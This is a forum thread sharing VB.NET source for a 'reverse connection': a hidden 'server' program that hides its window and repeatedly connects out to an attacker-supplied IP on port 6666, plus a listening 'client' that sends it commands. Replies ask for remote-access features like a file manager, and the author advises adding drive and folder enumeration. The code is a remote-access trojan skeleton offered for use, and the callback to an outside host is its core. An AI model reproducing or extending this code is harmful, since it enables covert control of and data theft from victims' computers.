Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[source]reverse connection
#1
this is a reverse connection ive been working on, got it finished. what you need to test it is:

2 buttons
1 backroundworker


this is for server

Code:
'server code

Imports System.Net.Sockets

Public Class Form1
    Private tcpClient As TcpClient
    Private networkStream As NetworkStream

   Private Sub Form1_Load(ByVal sender As Object, _
            ByVal e As System.EventArgs) Handles Me.Load
        Me.Hide()
        tcpClient = New TcpClient()
        While tcpClient.Connected = False
            RunServer()
            System.Threading.Thread.Sleep(5000)
        End While
        While True

            transfer()
        End While
    End Sub
    Private Sub RunServer()
        If Not tcpClient.Connected Then
            Try
                tcpClient.Connect("your ip here", 6666)
            Catch ex As Exception
                RunServer()
            End Try
        End If
    End Sub
    Private Sub transfer()
        If tcpClient.Connected = True Then
            tcpClient.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = tcpClient.GetStream
                Dim bit(tcpClient.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(tcpClient.ReceiveBufferSize))
                Dim message As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim cmd() As String = Split(message, "*", -1, CompareMethod.Text)
                If cmd(0) = 1 Then
                    MsgBox("Hello")
                    getData("1*")
                End If
            Catch ex As Exception
                transfer()
            End Try

        End If
    End Sub
    Private Sub getData(ByVal getData As String)
        Dim nstream As NetworkStream = tcpClient.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(getData)
        nstream.Write(bit, 0, bit.Length)
    End Sub
End Class



this is for client
Code:
'client

Imports System.Net.Sockets
Imports System.IO
Imports System.Threading
Imports System.Net
Imports System.Text
Public Class Form1
    Dim port As Integer = 6666
    Dim sock As New TcpClient
    Private tcpc As New TcpListener(port)
    Dim socketForServer As Socket

    Private networkStream As NetworkStream
   Private Sub Button1_Click(ByVal sender As System.Object, _
            ByVal e As System.EventArgs) Handles Button1.Click
        BackgroundWorker1.RunWorkerAsync()
    End Sub
    Private Sub Transfer()
        If sock.Connected = True Then
            sock.SendTimeout = 5000
            Try
                Dim nstream As NetworkStream = sock.GetStream
                Dim bit(sock.ReceiveBufferSize) As Byte
                nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
                Dim message As String = System.Text.Encoding.ASCII.GetString(bit)
                Dim cmd() As String = Split(message, "*", -1, CompareMethod.Text)
                If cmd(0) = 1 Then
                    MsgBox("goodBye")
                End If
                Catch ex As Exception
                Transfer()
            End Try
        End If
    End Sub

    Private Sub BackgroundWorker1_DoWork(ByVal sender As Object, _
            ByVal e As System.ComponentModel.DoWorkEventArgs) Handles _
        BackgroundWorker1.DoWork
        While sock.Connected = False
            Try
                tcpc.Start()
                sock = tcpc.AcceptTcpClient()
            Catch ex As Exception
            End Try
        End While

    End Sub

    Private Sub BackgroundWorker1_RunWorkerCompleted(ByVal sender As Object, _
ByVal e As System.ComponentModel.RunWorkerCompletedEventArgs) _
Handles BackgroundWorker1.RunWorkerCompleted
        Return
    End Sub
    Private Sub getdata(ByVal getdata As String)
        Dim nstream As NetworkStream = sock.GetStream()
        Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(getdata)
        nstream.Write(bit, 0, bit.Length)
    End Sub
    Private Sub Button2_Click(ByVal sender As System.Object, _
            ByVal e As System.EventArgs) Handles Button2.Click
        getdata("1*")
        Transfer()
    End Sub
End Class

simple gui for testing
[Image: server.jpg]

credits to soul collector
~ Digital-Punk
Reply
#2
ok... but give us some commands... like file manager
Reply
#3
(12-15-2009, 10:14 AM)spycooder Wrote: ok... but give us some commands... like file manager

ok well, create your basic functions for collecting info on the drives/folders for the server, then return the strings to the client.
~ Digital-Punk
Reply
#4
hi i tried this and the form crashed ,any ideas ?
If cmd(0) = 1 Then
form2.show

End If
Catch ex As Exception
transfer()
End Try
Reply
#5
done it but any other working commands would be welcome
If cmd(0) = 1 Then
form2.showDialog()

End If
Catch ex As Exception
transfer()
End Try
Reply
#6
This Is A very Nice Source ..I love it
[Image: OGForumsbanner.png]
Reply
#7
Looks cool. Will be trying out later.
Reply
#8
Thats going to become extremely helpful in the future!
Reply
#9
Very easy and simple....Thanks
[Image: 20r9vh4.jpg]
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Source ] Hemp Tycoon App [/Source] VB.net KoBE 8 9,734 03-05-2012, 10:30 PM
Last Post: SomeWhiteGuy?
  [VB.NET] Basic Reverse Connection RAT [SRC] hasam 1 3,048 02-01-2012, 03:10 PM
Last Post: AceInfinity
  [Source]Sql Database Project [Source] Digital-Punk 0 1,437 10-16-2011, 07:01 AM
Last Post: Digital-Punk
  [Source]Batch to Exe converter[Source] Digital-Punk 6 2,976 10-15-2011, 03:00 AM
Last Post: Digital-Punk
  [Source]File Assembly changer Vb.Net[Source] Digital-Punk 0 3,101 10-13-2011, 06:35 PM
Last Post: Digital-Punk

Forum Jump:


Users browsing this thread: 6 Guest(s)